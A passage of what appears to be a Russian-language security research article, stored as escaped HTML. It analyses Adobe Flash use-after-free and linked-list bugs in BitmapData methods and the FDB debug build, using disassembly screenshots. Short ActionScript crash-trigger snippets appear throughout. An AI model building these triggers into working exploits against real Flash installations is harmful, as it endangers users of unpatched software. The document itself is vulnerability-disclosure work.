\u043c\u0435\u0442\u043e\u0434 BitmapData.hitTest. \u0412\u043e\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0430\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Adobe Flash 18.0.0.209, \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0447\u0430\u0441\u0442\u044c\u044e \u043a\u043e\u0434\u0430.<\/p>\n<p>  <i><b>BitmapData.draw<\/b><\/i>  <\/p>\n<pre><code>bitmap2.draw(bitmap1, new Matrix(0.5, array[0xFF], 0.5, 0.5)); <\/code><\/pre>\n<p>  <i><b>BitmapData.copyChannel<\/b><\/i>  <\/p>\n<pre><code>bitmap2.copyChannel(bitmap1, rect, pt, o, 4); bitmap1.copyChannel(bitmap2, rect, pt, o, 4); <\/code><\/pre>\n<p>  <i><b>BitmapData.copyPixels<\/b><\/i>  <\/p>\n<pre><code>bitmap2.copyPixels(bitmap1, new Rectangle(10, 11, 2, array[0xFF]), pt, bitmap3); bitmap1.copyPixels(bitmap2, new Rectangle(10, 11, 2, array[0xFF]), pt, bitmap3); <\/code><\/pre>\n<p>  <i><b>BitmapData.paletteMap<\/b><\/i>  <\/p>\n<pre><code>bitmap2.paletteMap(bitmap1, rect, pt, array); bitmap1.paletteMap(bitmap2, rect, pt, array); <\/code><\/pre>\n<p>  <i><b>BitmapData.floodFill<\/b><\/i>  <\/p>\n<pre><code>bitmap2.floodFill(10, 10, o); <\/code><\/pre>\n<p>  <i><b>BitmapData.pixelDissolve<\/b><\/i>  <\/p>\n<pre><code>bitmap2.pixelDissolve(bitmap1, new Rectangle(10, 11, 2, 2), new Point(0, 0), 1245, o); bitmap1.pixelDissolve(bitmap2, new Rectangle(10, 11, 2, 2), new Point(0, 0), 1245, o); <\/code><\/pre>\n<p>  <i><b>BitmapData.merge<\/b><\/i>  <\/p>\n<pre><code>bitmap2.merge(bitmap1, rect, pt, 1, 1, 1, o); bitmap1.merge(bitmap2, rect, pt, 1, 1, 1, o); <\/code><\/pre>\n<p>  <i><b>BitmapData.getColorBounds<\/b><\/i>  <\/p>\n<pre><code>var z:Rectangle = bitmap2.getColorBoundsRect(array[0xFF], 0xffffffff); <\/code><\/pre>\n<p>  <i><b>BitmapData.scroll<\/b><\/i>  <\/p>\n<pre><code>bitmap2.scroll(o, 13); <\/code><\/pre>\n<p>  \u041a\u0430\u0436\u0434\u044b\u0439 \u0438\u0437 \u044d\u0442\u0438\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u044b\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 \u043e\u043a\u043e\u043b\u043e \u043d\u0443\u043b\u044f \u043f\u0440\u0438 \u0447\u0442\u0435\u043d\u0438\u0438 \u0438, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u043a\u0440\u0430\u0445 Adobe Flash \u0432\u0435\u0440\u0441\u0438\u0438 18.0.0.209. \u0427\u0430\u0441\u0442\u044c \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u043a\u0440\u0430\u0445 \u0432\u0441\u0435\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0432\u043f\u043b\u043e\u0442\u044c \u0434\u043e 19.0.0.245 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u0440\u043e\u0434\u0435 \u0431\u044b \u0438\u0445 \u0432\u0441\u0435\u0445 \u0434\u043e\u043b\u0436\u043d\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c!<\/p>\n<p>  \u0422\u043e\u0442 \u0444\u0430\u043a\u0442, \u0447\u0442\u043e \u0446\u0435\u043b\u044b\u0435 ActionScript \u043a\u043b\u0430\u0441\u0441\u044b \u0438\u043c\u0435\u044e\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e, \u0443\u0436\u0435 \u043d\u0430\u0441\u0442\u043e\u0440\u0430\u0436\u0438\u0432\u0430\u0435\u0442. \u041d\u043e \u044d\u0442\u043e \u0435\u0449\u0435 \u043d\u0435 \u0432\u0441\u0435. \u041e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u0431\u044b\u0432\u0430\u044e\u0442 \u0432 \u043c\u0438\u0440\u0435 Adobe \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442, \u0442\u043e \u0437\u0430\u043d\u043e\u0432\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0432 \u0441\u0432\u0435\u0436\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438! <\/p>\n<h4><b>\u0411\u0430\u0433 \u0438\u043b\u0438 \u0444\u0438\u0447\u0430?<\/b><\/h4>\n<p>  \u041e\u0434\u043d\u0430 \u0438\u0437 \u0432\u044b\u0448\u0435\u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u043c\u0435\u0442\u043e\u0434\u0435 BitmapData.merge, \u0431\u044b\u043b\u0430 \u0437\u0430\u043a\u0440\u044b\u0442\u0430 \u0435\u0449\u0435 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 18.0.0.232. \u041e\u043d\u0430 \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u0430\u0441\u044c \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0439 \u0432\u043f\u043b\u043e\u0442\u044c \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 19.0.0.245, \u043e\u0434\u043d\u0430\u043a\u043e, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u0440\u0435\u043b\u0438\u0437\u0430 20.0.0.228, \u043e\u043d\u0430 \u0441\u043d\u043e\u0432\u0430 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0439! \u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u043a\u043e\u0434 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u044b\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438 \u0432 \u0440\u0430\u0439\u043e\u043d\u0435 \u043d\u0443\u043b\u044f \u0438 \u043f\u0430\u0434\u0435\u043d\u0438\u0435 Flash \u0432 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445:<\/p>\n<pre><code>bitmap2.merge(bitmap1, rect, pt, 1, 1, 1, o); <\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/d9a\/03b\/0c1\/d9a03b0c18934d0db440a35ec4886122.png\"\/><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/324\/8d2\/d65\/3248d2d65fa1491d8af609e96359e91d.png\"\/><\/p>\n<p>  \u0415\u0441\u043b\u0438 \u0442\u0435\u043f\u0435\u0440\u044c \u0432 \u043c\u0435\u0442\u043e\u0434\u0435 valueOf \u0431\u0443\u0434\u0435\u0442 \u0443\u0434\u0430\u043b\u044f\u0442\u044c\u0441\u044f \u043e\u0431\u044a\u0435\u043a\u0442-\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a, \u0430 \u043d\u0435 \u043e\u0431\u044a\u0435\u043a\u0442-\u043f\u0440\u0438\u0435\u043c\u043d\u0438\u043a, \u0442\u043e \u0442\u0430\u043a\u043e\u0439 swf \u0444\u0430\u0439\u043b \u0432\u044b\u0437\u043e\u0432\u0435\u0442 \u043a\u0440\u0430\u0445 \u0432\u043e\u043e\u0431\u0449\u0435 \u0432\u0441\u0435\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 Flash, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044e\u044e \u043d\u0430 \u0441\u0435\u0433\u043e\u0434\u043d\u044f (21.0.0.182):<\/p>\n<pre><code>bitmap1.merge(bitmap2, rect, pt, 1, 1, 1, o); <\/code><\/pre>\n<p>  \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432 \u043a\u043e\u0434\u0435 Flash \u0434\u043e \u0435\u0433\u043e \u043f\u0430\u0434\u0435\u043d\u0438\u044f. \u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u0434\u0438\u0437\u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440 IDA Pro \u0438 x86-\u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 Hex-Race. \u0424\u0443\u043d\u043a\u0446\u0438\u044f sub_12FDF50 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437 \u043f\u0440\u0438 \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 BitmapData.merge, \u0438 \u0432 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 Flash \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 BitmapData \u0438 \u043e\u0431\u043d\u0443\u043b\u0435\u043d\u0438\u0435 \u044f\u0447\u0435\u0439\u043a\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 [esi+0xC8] \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 sub_122DD40 (\u043c\u0435\u0442\u043a\u0430 .text:0122DD82 \u0432 \u0434\u0438\u0437\u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u043a\u043e\u0434\u0435, \u0441\u0442\u0440\u043e\u043a\u0430 19 \u0432 \u0434\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u043a\u043e\u0434\u0435):<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/1be\/5a6\/356\/1be5a63568204c33bb6cd665aae2d0df.png\"\/><\/p>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u044b\u0437\u043e\u0432 \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u044b sub_1230D10:<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/87d\/d32\/daf\/87dd32daf0144ca2a429cb212fd44aae.png\"\/><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/7ff\/bdb\/382\/7ffbdb382a2841389255638fd81f67ff.png\"\/><\/p>\n<p>  \u041e\u0431\u0440\u0430\u0449\u0430\u0435\u043c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u0440\u0435\u0433\u0438\u0441\u0442\u0440 ecx \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0432\u044b\u0437\u043e\u0432\u0430 sub_1230D10 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0442\u043e\u0442 \u0436\u0435 \u0430\u0434\u0440\u0435\u0441, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0443\u043b\u0435\u043d\u043e \u0440\u0430\u043d\u0435\u0435 \u043f\u0440\u0438 \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 BitmapData.merge \u0438 \u043e\u0431\u043d\u0443\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u044a\u0435\u043a\u0442\u0430-\u043f\u0440\u0438\u0435\u043c\u043d\u0438\u043a\u0430 bitmap2 \u0432 \u043c\u0435\u0442\u043e\u0434\u0435 valueOf.<\/p>\n<p>  \u0412 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 sub_1230D10 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0440\u0430\u0437\u044b\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 \u0440\u044f\u0434\u043e\u043c \u0441 \u0430\u0434\u0440\u0435\u0441\u043e\u043c, \u043b\u0435\u0436\u0430\u0449\u0438\u043c \u0432 \u044f\u0447\u0435\u0439\u043a\u0435 [ecx+0xC8]. \u041a\u0430\u043a \u0432\u0438\u0434\u043d\u043e, \u044d\u0442\u043e \u0442\u043e\u0442 \u0430\u0434\u0440\u0435\u0441, \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0440\u0430\u043d\u0435\u0435 \u043e\u0431\u043d\u0443\u043b\u044f\u043b\u043e\u0441\u044c \u043f\u0440\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u044a\u0435\u043a\u0442\u0430-\u043f\u0440\u0438\u0435\u043c\u043d\u0438\u043a\u0430 BitmapData. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c \u044d\u0442\u043e\u0433\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u0440\u0430\u0445 Flash:<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/edc\/6a7\/225\/edc6a7225df64b019b13c858f07b6947.png\"\/><\/p>\n<p>  \u041d\u0435\u044f\u0441\u043d\u043e, \u0447\u0442\u043e \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 Adobe \u0432\u043d\u043e\u0432\u044c \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0442\u044c \u0440\u0430\u043d\u0435\u0435 \u0443\u0436\u0435 \u0437\u0430\u043f\u0430\u0442\u0447\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. <\/p>\n<h4><b>CVE-2015-?<\/b><\/h4>\n<p>  \u041d\u0430\u043f\u043e\u0441\u043b\u0435\u0434\u043e\u043a \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043c \u0435\u0449\u0435 \u043e\u0434\u043d\u0443 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u0443\u044e \u043d\u0430\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c. \u041e\u043d\u0430 \u043d\u0435 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f, \u043e\u0434\u043d\u0430\u043a\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0435\u0441\u044c\u043c\u0430 \u043d\u0430\u0433\u043b\u044f\u0434\u043d\u044b\u043c \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0433\u043e \u043a\u043e\u0434\u0430.<\/p>\n<p>  \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432 \u043e\u0442\u043b\u0430\u0434\u043e\u0447\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 Flash \u0434\u043b\u044f Windows (\u0432 \u0442.\u0447. \u043f\u043b\u0430\u0433\u0438\u043d\u044b \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u043e\u0432) \u0432 \u0441\u0432\u044f\u0437\u043a\u0435 \u0441 Adobe Flex Debugger (FDB). \u041e\u043d\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u043c \u043f\u043e\u0438\u0441\u043a\u0435 \u0432\u0435\u043b\u0438\u0447\u0438\u043d\u044b \u043f\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u0441\u043f\u0438\u0441\u043a\u0443 \u0432 \u043a\u043e\u0434\u0435 Flash \u0438 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0432 \u043e\u0442\u043b\u0430\u0434\u043e\u0447\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 Flash \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u043c \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a\u0435 FDB.<\/p>\n<p>  \u0421\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043d\u0430\u043c\u0438 swf-\u0444\u0430\u0439\u043b main.swf \u0432 \u043a\u043e\u0434\u0435 ActionScript 3 \u043f\u043e\u0434\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432\u043d\u0443\u0442\u0440\u0438 \u0441\u0435\u0431\u044f \u0434\u0440\u0443\u0433\u043e\u0439 swf-\u0444\u0430\u0439\u043b, expressInstall_.swf \u0432 \u043a\u043e\u0434\u0435 ActionScript 2, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u043a \u0432\u043d\u0435\u0448\u043d\u0435\u043c\u0443 \u0430\u0434\u0440\u0435\u0441\u0443:<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/cec\/0cb\/713\/cec0cb71316142baa7bbf8ccb6fdeb00.jpg\"\/><\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/93b\/5af\/c4a\/93b5afc4a8034ac4ad32bdcce2e4dba9.jpg\"\/><\/p>\n<p>  \u0414\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0432\u043d\u043e\u0432\u044c \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f IDA Pro \u0438 Hex-Race. \u041a\u043e\u0433\u0434\u0430 \u0430\u043a\u0442\u0438\u0432\u0435\u043d Flex Debugger (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043e\u0442\u043b\u0430\u0434\u043a\u0438 ActionScript-\u043a\u043e\u0434\u0430), Flash \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043d\u0430\u043c\u0438 swf \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435:<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/9ba\/453\/2ce\/9ba4532cee6a425ca632ceb182eb8c00.jpg\"\/><\/p>\n<p>  \u0412 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 sub_C57769 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0442\u0440\u043e\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0432\u0435\u0434\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u0435\u0439 sub_B8E6D9 \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435 \u043f\u043e\u0441\u043b\u0435 \u0441\u043b\u043e\u0432\u0430 \u201cBase\u201d. <\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/5ae\/9b0\/112\/5ae9b01122324c6ea4f04d747dcfaf2b.jpg\"\/><\/p>\n<p>  \u0414\u043b\u044f \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u044f \u0432 \u0446\u0438\u043a\u043b\u0435 \u043f\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u0441\u043f\u0438\u0441\u043a\u0443 v4 \u0438\u0449\u0435\u0442\u0441\u044f \u044f\u0447\u0435\u0439\u043a\u0430 \u0441 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u043c\u0438 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438 (*(*(v4 + 24) + 252) == 98). \u0426\u0438\u043a\u043b \u043f\u0440\u0435\u043a\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u0440\u0451\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445:  <\/p>\n<ul>\n<li>\u0435\u0441\u043b\u0438 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0443\u0436\u043d\u0430\u044f \u044f\u0447\u0435\u0439\u043a\u0430 (*(v6 + 252) == 98<\/li>\n<li>\u0435\u0441\u043b\u0438 \u043c\u044b \u043d\u0435 \u043d\u0430\u0448\u043b\u0438 \u043d\u0443\u0436\u043d\u0443\u044e \u044f\u0447\u0435\u0439\u043a\u0443 \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u0437\u0430 256 \u0448\u0430\u0433\u043e\u0432 (v5 &gt;= 256)<\/li>\n<li>\u0435\u0441\u043b\u0438 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u043b\u0441\u044f (v4 == 0)<\/li>\n<\/ul>\n<p>  \u041f\u043e\u0441\u043b\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0437 \u0446\u0438\u043a\u043b\u0430 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u0430\u044f \u044f\u0447\u0435\u0439\u043a\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0445 \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u044f\u0445. \u0422\u0430\u043c \u0438 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043e\u0448\u0438\u0431\u043a\u0430 \u043d\u0430 \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c \u043d\u0430\u043c\u0438 swf-\u0444\u0430\u0439\u043b\u0435: \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u043d\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u044f\u0447\u0435\u0439\u043a\u0438 \u0441 \u043d\u0443\u0436\u043d\u044b\u043c \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e\u043c, \u0438 \u0446\u0438\u043a\u043b \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0446\u0435 \u0441\u043f\u0438\u0441\u043a\u0430. Adobe Flash \u0430\u0432\u0430\u0440\u0438\u0439\u043d\u043e \u0437\u0430\u0432\u0435\u0440\u0448\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0437 \u0446\u0438\u043a\u043b\u0430 \u0441 v4 == 0:<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/edf\/b22\/b69\/edfb22b69b26467384dc80e15f41b6e6.jpg\"\/><\/p>\n<p>  \u041a\u0430\u043a \u0432\u0438\u0434\u043d\u043e, \u043a\u043e\u0434 \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0437 \u0446\u0438\u043a\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c. \u041f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0442\u0430\u043a\u043e\u0433\u043e \u0443\u0441\u043b\u043e\u0432\u0438\u044f, \u043f\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0432 v4 \u043e\u043a\u0430\u0436\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u0430\u0434\u0440\u0435\u0441. \u042d\u0442\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0432 \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u0441\u043f\u0438\u0441\u043e\u043a \u0431\u0443\u0434\u0435\u0442 \u0434\u043b\u0438\u043d\u043d\u0435\u0435 256 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439, \u0438 \u043f\u0435\u0440\u0432\u044b\u0435 256 \u043d\u0435 \u0431\u0443\u0434\u0443\u0442 \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u044f\u0442\u044c \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0443 (*(*(v4 + 24) + 252) == 98). \u0422\u043e\u0433\u0434\u0430 \u0446\u0438\u043a\u043b while \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u0441\u044f \u043f\u043e \u0443\u0441\u043b\u043e\u0432\u0438\u044e (v5 &gt;= 256), \u0438 \u0432 v4 \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0430\u0434\u0440\u0435\u0441 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u043f\u043e \u043d\u043e\u043c\u0435\u0440\u0443 \u044f\u0447\u0435\u0439\u043a\u0438.<\/p>\n<h4><b>\u0427\u0442\u043e \u0442\u0443\u0442 \u0435\u0449\u0435 \u0441\u043a\u0430\u0436\u0435\u0448\u044c?<\/b><\/h4>\n<p>  \u0411\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u043d\u0430 \u0434\u043d\u044f\u0445 \u0432 Adobe \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0439 \u043f\u0430\u0442\u0447, \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0449\u0438\u0439 23 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u043e Flash, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435. \u041f\u043e \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c, \u043e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445 \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 